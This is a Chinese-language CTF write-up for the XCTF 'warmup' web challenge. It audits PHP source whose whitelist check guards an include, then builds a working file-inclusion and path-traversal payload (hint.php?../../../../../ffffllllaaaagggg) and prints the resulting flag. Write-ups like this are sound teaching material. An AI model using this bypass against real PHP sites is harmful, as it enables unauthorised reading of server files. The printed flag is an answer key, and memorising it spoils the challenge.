Bootstrap

XCTF:warmup[WriteUP]

Ctrl+U查看页面源码

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Document</title>
</head>
<body>
    <!--source.php-->
    
    <br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" /></body>
</html>

发现注释处的source.php,复制到地址栏进入

获取新的一堆php代码

 <?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?> 

访问hint.php

只有一串文字,考虑flag很有可能就在这个‘ffffllllaaaagggg’文件中

回到source.php代码中

分析这段有包含命令的代码:include $_REQUEST['file'];

if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    } 
  1. !empty($_REQUEST['file']:请求是否非空
  2. is_string($_REQUEST['file']:请求是否为字符串
  3. emmm::checkFile($_REQUEST['file']):能否通过checkFile()函数的判定

当三个条件同时为真时,对文件‘file’执行包含


审计checkFile函数

class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }
  1. !isset($page) || !is_string($page):$page变量不存在或者不是字符串
  2. in_array($page, $whitelist):$page变量存在于$whitelist数组中
  3. $_page = mb_substr:截取出一段字符串并串赋值给$_page
  4. in_array($_page, $whitelist):$_page变量存在于$whitelist数组中
  5. $_page = urldecode($page):对$page进行url解码后赋值给$_page
$_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );

在上述代码中,新建了一个$_page变量

截取函数:mb_substr选定$page变量为被截取的字符串

从位置下标0开始进行字符串截取,mb_strpos则是字符串查找函数

mb_strpos($page.'?','?'),代表查找$page变量中的‘?’字符并返回‘?’的位置

如果没找到‘?’,则假设‘?’在$page字符最后一位,以此保证该函数有返回值

所以整个mb_substr函数代表者:如果$page中存在‘?’则截取出‘?’之前的字符串

如果‘?’不存在,则$page整体都将被截取出来,则‘?file=******************’

星号中的所有字符串都会被截取出来赋值给$_page


解题思路

构造payload先确定一个固定的头:url/?file=(这段字符串不会赋值到page中)

使$page在$whitelist中,则必须是source.php或者hint.php才判定为真

所以这里需要直接构造为:url/?file=hint.php

接着需要再判定有没有‘?’,所以变成:url/?file=hint.php?

所以当我们构造的url进入checkFile时,$page和$_page的值就会一直等于‘hint.php?’

无论checkFile判定$page或者$_page都一定会存在于$whitelist中

且经过截取后,问号前面的值也一定还会等于‘hint.php?’

最终checkFile的返回值则为真,满足一开始flag触发的三个条件

图穷匕见,在url/?file=hint.php?后面跟上要包含的文件,此题就结束了


在地址栏中构造payload

直接访问:url?file=hint.php?ffffllllaaaagggg出现的是一个空白页

考虑该文件应该不在hint.php的同目录,所以应该是在根目录

这里唯一的方法就是多加几个‘../’,将相对位置调试到根目录

最后:url/?file=hint.php?../../../../../ffffllllaaaagggg

加了5个../后,回退到了根目录,出现flag


flag{25e7bce6005c4e0c983fb97297ac6e5a}

;